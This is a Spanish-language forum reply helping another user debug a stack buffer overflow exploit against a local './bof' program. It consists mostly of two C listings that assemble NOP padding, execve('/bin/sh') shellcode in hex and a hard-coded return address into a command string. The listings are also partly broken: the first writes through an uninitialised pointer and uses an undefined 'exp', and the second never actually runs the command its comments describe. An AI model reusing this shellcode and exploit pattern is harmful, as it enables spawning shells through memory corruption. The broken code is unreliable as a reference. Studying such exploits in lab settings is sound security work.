No, eso que pusiste no es mi code.
Tiene errores, como
es nops[24]
. Quiza por eso te tira segmentation fault.
Y eso del sprintf que ya te dije
.
Pon mas informacion, que distro usas ???
Yo uso OpenSuSe y me funciona perfecto.
Sa1uDoS
P.D.:Agregame al MSN si quieres y miramos que es con mas detalle
.
EDIT:
A mi asi me funciona:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){
char nops[24] = "";
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;
sprintf(cmd
,"%s %s%s%s", exp, nops
, shellcode
, ret
);
return 0;
}
EDIT2:
Prueba si quieres con una shellcode que he hecho yo
, aunque la de Sagrini va genial tambien.
#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */
int main()
{
char name[]="./bof";
char nops[26]="";
memset(nops
, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */ char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";
char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd
=(char *)malloc(sizeof(name
)+sizeof(nops
)+sizeof(shellcode
)+sizeof(ret
)+1);/* Reservamos la memoria necesaria para juntar todo */
sprintf(cmd
, "%s %s%s%s", name
,nops
,shellcode
,ret
);/* Juntamos name, nop, shellcode y ret en el puntero cmd, entre name y los demas campos dejamos un espacio */
free(cmd
);/* Liberamos la memoria */ return 0;
}